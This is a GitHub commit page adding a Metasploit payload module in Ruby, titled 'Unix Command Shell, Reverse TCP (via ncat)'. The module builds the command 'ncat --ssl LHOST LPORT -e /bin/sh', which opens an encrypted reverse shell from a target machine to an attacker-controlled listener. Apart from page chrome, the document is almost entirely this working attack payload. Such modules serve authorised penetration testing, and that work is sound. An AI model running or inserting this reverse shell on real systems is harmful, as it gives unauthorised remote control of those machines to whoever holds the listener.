Skip to content

Commit cfa204b

Browse files
committed
add reverse ncat ssl
1 parent e026a8c commit cfa204b

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp_ssl'
8+
require 'msf/base/sessions/command_shell'
9+
require 'msf/base/sessions/command_shell_options'
10+
11+
module MetasploitModule
12+
13+
CachedSize = :dynamic
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Unix Command Shell, Reverse TCP (via ncat)',
21+
'Description' => 'Creates an interactive shell via ncat, utilising ssl mode',
22+
'Author' => 'C_Sto',
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'unix',
25+
'Arch' => ARCH_CMD,
26+
'Handler' => Msf::Handler::ReverseTcpSsl,
27+
'Session' => Msf::Sessions::CommandShell,
28+
'PayloadType' => 'cmd',
29+
'RequiredCmd' => 'ncat',
30+
'Payload' =>
31+
{
32+
'Offsets' => { },
33+
'Payload' => ''
34+
}
35+
))
36+
end
37+
38+
#
39+
# Constructs the payload
40+
#
41+
def generate
42+
return super + command_string
43+
end
44+
45+
#
46+
# Returns the command string to use for execution
47+
#
48+
def command_string
49+
"ncat --ssl #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
50+
end
51+
52+
end

0 commit comments

Comments
 (0)